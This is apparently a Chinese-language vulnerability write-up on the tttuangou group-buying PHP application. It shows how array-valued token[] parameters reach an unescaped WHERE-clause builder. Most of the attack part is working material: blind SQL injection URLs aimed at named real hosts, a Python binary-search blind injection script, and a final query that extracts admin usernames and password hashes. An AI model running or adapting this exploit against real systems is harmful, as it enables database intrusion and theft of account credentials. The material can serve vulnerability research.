include\driver\database\mysql_max.php(308)://pack_where函数负责组装sql查询语句where条件部分private function pack_where($dbo)
{
if ( ! $dbo->_where ) return '';
$sql_where = ' wHERe ';
$sql_where_add = '';
foreach ( $dbo->_where as $where )
{
if ( is_array($where) )
{
foreach ( $where as $key => $val )
{
$kvs = '';
if ( is_numeric($val) )
{
$kvs = '`'.$key.'`' . '=' . $val;
}
elseif ( is_string($val) )
{
$kvs = '`'.$key.'`' . '="' . $val . '"';
}
elseif ( is_array($val) )
{
$kvs = '`'.$key.'`' . ' ' . $val[0] . ' ' . $val[1];
//如果是数组,$val(值)就直接附在 $key(键名)后面
}
elseif ( is_null($val) )
{
$kvs = '`'.$key.'`' . '=NULL';
}
elseif( is_bool($val) || empty($val) )
{
$kvs = '`'.$key.'`' . '="' . $val . '"';
}
$kvs && $sql_where_add .= $kvs.' aNd ';
}
}
elseif ( is_string($where) )
{
$where && $sql_where_add .= $where.' aNd ';
}
}
if ( ! $sql_where_add ) return '';
return substr($sql_where.$sql_where_add, 0, - 5);
}如果可以传入数组,并进入where条件,经过pack_where组装成语句后,就能形成sql注射了。找到一处可以传入数组的地方:\modules\refund.mod.php:function Main()
{
$order_id= get('oid','number');
$appcode= get('appcode'); //$_GET['appcode']
$token= get('token'); //$_GET['token']
if($appcode && $token){
$uid = logic('refund')->getuid($appcode, $token); //跟进getuid函数
$tempfile = 'apply_3g';
$from = '3g';
}else{
$uid = MEMBER_ID;
$tempfile = 'apply';
$from = 'web';
}
...\include\logic\refund.logic.php:public function getuid($appcode, $token)
{
$session = dbc(DBCMax)->select('api_session')->where(array('appcode' => $appcode, 'token' => $token))->limit(1)->done();//$appcode、$token都进入了where函数,最终将交由pack_where函数解析组装成sql语句,这里appcode和token两个参数都可以由GET方式以数组形式传进
return $session ? $session['user_id'] : 0;
}没有回显位,只能盲注。http://tg.tttuangou.net/?mod=refund&appcode=xxoo&token[]=%3d-1%20union%20select%201,1,1,1,1,1 //返回页面:订单信息错误!http://tg.tttuangou.net/?mod=refund&appcode=xxoo&token[]=%3d-1%20union%20select%201,1,1,0,1,1 //返回页面:请先登录!通过判断返回页面的内容来进行盲注,这样比时间延时注入要快些。从网上找了个盲注脚本:#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL):
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
#print URL
req = urllib2.Request(URL, None, user_agent)
try:
request = urllib2.urlopen(req)
except HTTPError, e:
print('[!] The server couldnt fulfill the request.')
print('[!] Error code: ' + str(e.code))
sys.exit(1)
except URLError, e:
print('[!] We failed to reach a server.')
print('[!] Reason: ' + str(e.reason))
sys.exit(1)
return request.read()
#utf8版本站点: utf8.tttuangou.net
#gbk版本站点: tg.tttuangou.net
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if mid == left:
result += chr(mid)
print result
break
payload = '=-1 union select 1,1,1,if(ascii(substring((select user()),%s,1))<%s,1,0),1,1#' % (str(index), mid)
param = {'token[]': payload}
html = request('http://tg.tttuangou.net/?mod=refund&appcode;=xxoo&'+urllib.urlencode(param))
verify1 = r'''订单信息错误!'''.decode("utf-8").encode("gbk") #gbk版本
verify2 = r'''订单信息错误!''' #utf8版本
if verify1 in html or verify2 in html:
right = mid
else:
left = mid
if __name__ == '__main__':
for i in range(1,50):
binary_sqli(35, 127, i)tg.tttuangou.net: select user()utf8.tttuangou.net: select concat(username,0x3a,password) from cenwor_system_members limit 0,1